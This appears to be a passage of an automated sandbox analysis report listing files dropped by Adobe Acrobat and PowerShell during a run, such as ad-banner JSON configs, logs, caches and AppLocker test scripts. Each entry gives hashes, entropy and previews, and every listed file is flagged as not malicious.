SHA-512:	F74352D84EA84A659F5E38FDF28CA1FC512A3B49CEA1E1F495E5B9E154EA8AC1FFC01CCBA106E5400882704B0CE38700033552F3CE6D4C846F1559C4B679D82A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294081615137511
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfQ1rPeUkwRe9:YvXKXcOsdTeOqGY16Ukee9
MD5:	84307DF35379710C44002420767E856F
SHA1:	A8537017498E7C0BB5CF31F7252ABC4D82C93AB2
SHA-256:	1BD362A8FE47FC5B2AF03321CF7894209DB767223034BBD6A96F5AE481C665E4
SHA-512:	C31FD788789FB6296B08B0BB900D8A8D9F8DE5568C70A68EFDAF7BBCBDCC04FC84E15727871499179F2F831B5849514D7B757664C498F12A96DFD4E03DBF9688
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307910501785835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfFldPeUkwRe9:YvXKXcOsdTeOqGz8Ukee9
MD5:	69785CA43B6B7ECC9121739E2AEA29F3
SHA1:	C56CF2727AEC1818345E8EB130CC8821195C9A13
SHA-256:	9A27750DEE350175C66A5C32E51866B4BCC246BA9126E7E32472E1A4AFD5D7CF
SHA-512:	AEABE1BDDF6B6C520FBA3E50E5FEC373B8133E1FA944A8D7958E54D3CCB0056E408634BB3EF29287776C33A830C262C6343D336F2E42BCB41445C2B4CA58391A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3165167188484235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfzdPeUkwRe9:YvXKXcOsdTeOqGb8Ukee9
MD5:	4F7C91D57762EEF3247D2C2C029F76BE
SHA1:	B6306BB96A2ECCE1F591E21A6E75F90CC308D80A
SHA-256:	8AA38A766253E0C2589CD24B2502727492AC2A9CFAC631A6D98B3F0FBF50A298
SHA-512:	D2FE6AE58D145E39324B3E6B67824AFF884D52EEB7C8D3BD668B83AC6191E08754DBC2B29C11DC404266BFC32F24AE8A6C09CA34DCABA6BB7B048AAD737E5F93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2968075383145985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfYdPeUkwRe9:YvXKXcOsdTeOqGg8Ukee9
MD5:	A86E2EC0956560E75F50ED4E54977247
SHA1:	F941B5CC0F7A6B1AA477952E8881673D20DA0B7C
SHA-256:	BBFE6B697F037A9DD26A327023B179A29B8B88C79B4865B76013B0EDF8D16BE3
SHA-512:	0E75FE3619CC42B546CFAD75457FF2F3BB8F7998FF70DBA9009C7EAD922B30739DBB27F899E19DF6146F62AC85DDEB744DE5C9F2C18CC91A4EB7656E20F4ACC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282484004293067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJf+dPeUkwRe9:YvXKXcOsdTeOqG28Ukee9
MD5:	2CBCCAA02E14E57E5B05539D228930FE
SHA1:	C5F75337A48787676D28F5C890FC5EF3237A8407
SHA-256:	0E93D1A33715CA9D07899628D85CA4B062DC8B4F41A04260D04DFEFF320913FA
SHA-512:	B7FA5A69A1335058D9D3E1867A94A47A7065D00BB809D09D67DE78AE04D4AAA51F3A2E4FC12A5F9524E204255333A1D4A3B5ED520C3F94258C4E58FD0B8AC65E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280376577305888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfbPtdPeUkwRe9:YvXKXcOsdTeOqGDV8Ukee9
MD5:	2E92AA6D4942985F6C591FBA53880608
SHA1:	79248A9D813461EE754E0EA87FE3D21BA9DD86B2
SHA-256:	E2179BAC62A3D0DC4CD37C53AC262E69A0C30EB233DF8103508ECDC866BD9B38
SHA-512:	C37AA3B405E0E8571F7DD6485959D4CE46F2304DE5172DEF0834B361FD90EFD4055CC473689D385D2AE269453A3DAC86F71EA69154F0B362CACBCE5BBFE77C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.284669460893836
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJf21rPeUkwRe9:YvXKXcOsdTeOqG+16Ukee9
MD5:	A5EFC903B47BD70A720A68F626BE82A5
SHA1:	7D0D27348288CF15C39D3A1E66E8DE716D99D36E
SHA-256:	EC8DC5506E6D2C7A8DDE2E1C78823CE3409706BCED86D9703F0CBFAAD379C8D0
SHA-512:	443C787C2F6B6D7143C65A9C5833DF473A97374E6412943F75C41DA2F606CE2D84E0EF4437F2C2BCDDC6E4AFF3720720F77A022EBFAD843012AF7F58792813CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6620659649846345
Encrypted:	false
SSDEEP:	24:Yv6X1meOfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSpH:YvVemBgkDMUJUAh8cvMx
MD5:	5BC16C577A01D0F5071E2382A322AC57
SHA1:	BB0B57A4E3A5E0BA34CBD50D7E1F1EA5C97B7450
SHA-256:	932711BD09B511E15D3F2D7323BD5E3C71853A2174E727B76966ADB6AD0A27D8
SHA-512:	4FF269A29C8E340F7E2FE5DE2BD733F90AEFF67BE4D7FFD64C788BB53D25E3F341A7CBB142EAB50E2C3D39D788E53DA2DBB5A31C43E4ACDC16D2E13F23ED87FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.259156899765787
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfshHHrPeUkwRe9:YvXKXcOsdTeOqGUUUkee9
MD5:	D54978CB82F38DB0A9A3E4C0726E55ED
SHA1:	93E501131758A0CBCE39100CE07104AE9ABF9E81
SHA-256:	F7266CC6BD4C6BFB787E14B47ADD9BE6395510C26CAB6D8151A79F5D5E4668B0
SHA-512:	1E2964DA9B7B515AB08D1645E8CCD8330E820B8C61E3AECCDF64106A3FE0B61E87DC7591AA3C39321EDBD550E4612BB160F6654FA2394CE2122AE60408A80234
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278262175973861
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJTqgFCrPeUkwRe9:YvXKXcOsdTeOqGTq16Ukee9
MD5:	8C91FC8A69B306FBBC945E0462E1E107
SHA1:	6E68F7D27464B15C15524C72FC4C9D48C62472A6
SHA-256:	E39EFE81AAF094BB842FFDB22DB7637C114108394BC81C041DDCA6C345377FDF
SHA-512:	3CE375847468CF172D16B3E29AC470CCC2D061B6D1B84F4838B184BEDBDE866B1DCF094FC3B19C04750A658BDEAFDECC4E638370D299D7C2C23655F0C7A61CD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132782390492129
Encrypted:	false
SSDEEP:	24:YcPCNapHaykZ84lgsqbfQQd/njnJTj0SZe3vd222LS7ChOPBMx2a5Hq5R9M6euNj:Y+1MgLbQornxE3ljtWOPBMdpq5R9M6N
MD5:	B1A0685ACA5F4B0002FF0A77435E92C4
SHA1:	E2A32B5F1E8CAB1F709D5CFCA2BB8890DFEBD2D1
SHA-256:	C19C2AB30D0315500020DA7A57D749CBB1C52518FB28446249C169BEA401C916
SHA-512:	CFD7FB97D2806B6068DA5588230B0E2793F5FDCA558D2B78DF6AB8CC83ADE81847008280B332225F62CB15B33C1F44D2251E577AA66DC4CCE3E4838AE5CAF340
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ae514ecf4e10193391296920b21fdd73","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534641000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e35aa2e5b92304da31e8fac29eccbab2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534641000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"10d9dc57170668a152f867e7907bd3ad","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534641000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6df65b567529286d5395eb9ed8cabd4c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534641000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ee101140ba8dfe65c4c1e9460c9d7b39","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534641000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"287633e1f59e1ecc5a3106e78b2dd383","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4543801470801079
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsElo:lNVmsw3SHtbDbPe0K3+fDZdY
MD5:	1463B10C41AF9AEE33F9DBF287FF78D3
SHA1:	A053C4EE4ACF919C78DB5D7F94AC573CD92AA528
SHA-256:	B2562EDE61D5EA7C6509F3019F921628DA107F294E65FAA3BEF0FA8CCE924568
SHA-512:	DA6FECB830E3FC1C641F87EF9644F45F796FB6925BD6C065C2FB52932DC159495EE4497941FE3618BC0691DA2DDE09C829539772F211AFEDFD77440E6EC9AC82
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9600494891418523
Encrypted:	false
SSDEEP:	48:7M9rvrBd6dHtbGIbPe0K3+fDy2dshNqFl2GL7msF:7U3SHtbDbPe0K3+fDZdOKVmsF
MD5:	49FDC9575955F22AEFB2E252D8E7EE68
SHA1:	74FE59511E7CF3F38BA0F99FA0E55B0B0D7727B5
SHA-256:	A01685AEBC49F1414C043C634E95F165F47141576727C5821042786C531D22C9
SHA-512:	895B2BB224C453584FB3A257F5473BDCD5252C2C989BBF330F2A9F5B4FFF68386BAE749795BCAB7B0A7132F39645E8C2FD33B711E8E27EE34BDEBE40688A2C05
Malicious:	false
Preview:	.... .c.......".......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6PLbrLiPsTalxbQiFGOH8ftKqCYyu:6a6TZ44ADE6PHrt+BBFG3fsHK
MD5:	BE10687B0958EAFE2A808A46C6FAABC3
SHA1:	06BD71D61473B87F5E955306703957E7112F00BA
SHA-256:	5C925001BFE8713EE2D37A992FAF1ADC02D2C45AF6D1FE7DFB22D50167A4904D
SHA-512:	49241CA8852A52FD2A777EDB64471ECBF589392773C519054D86BF905D977D14C8C7B2798A5169C2BDF7FBEB3BC35248633422769054E3AD3B446FD79569584C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa7dc5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEnNH:Qw946cPbiOxDlbYnuRK+bDl
MD5:	048E201452EC26AFEB578023E98A0F1C
SHA1:	CFBC9FB36752632D1C481A656C73A7B4C3ED33B5
SHA-256:	7810C112B8B61FD68738779A04683FA1DBD22A5CA7217954B3C283C312120461
SHA-512:	B30ED6936E696149EF0DEF11230176A085BB80EDC11B2DEBCEB62168BB4030C8EEB9BFA2F596B72DF54C8A342ECE8114D03A37071EC3A4F9969991DD2CFDF42C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.4.4.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uetw213n.x32.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjuhcjgm.4c5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-43-56-130.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.322150730623722
Encrypted:	false
SSDEEP:	384:dSWHIHVHgHKHLHf+HzHIH28L858ytTvtLt1n9gJg7gnB4B8B5ByBLs7E7Y7eHaHm:UEj
MD5:	9A886EF63FD50795777654A883504E2E
SHA1:	E7CBDF6B4BC86CC84C45E23665B199F60EEA5829
SHA-256:	F2D8D5662C2565A38A1FBF9CE087F86CC311DE6B412B65DD19B972582ED4200D
SHA-512:	FC4854C19FDB51C8A463521A0071CB6044FCD63EB3C33AB3D18C3C707305840E1A0703BDBEE8D7B401FB35E5971DA0CBDE360F1FC5F6CC45058A754EC73F97C0
Malicious:	false
Preview:	SessionID=4b023c56-0032-4a30-bf94-d94100d5a70e.1736534636224 Timestamp=2025-01-10T13:43:56:224-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4b023c56-0032-4a30-bf94-d94100d5a70e.1736534636224 Timestamp=2025-01-10T13:43:56:243-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4b023c56-0032-4a30-bf94-d94100d5a70e.1736534636224 Timestamp=2025-01-10T13:43:56:243-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4b023c56-0032-4a30-bf94-d94100d5a70e.1736534636224 Timestamp=2025-01-10T13:43:56:243-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4b023c56-0032-4a30-bf94-d94100d5a70e.1736534636224 Timestamp=2025-01-10T13:43:56:243-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.412460774902839
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR4Q:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRZ
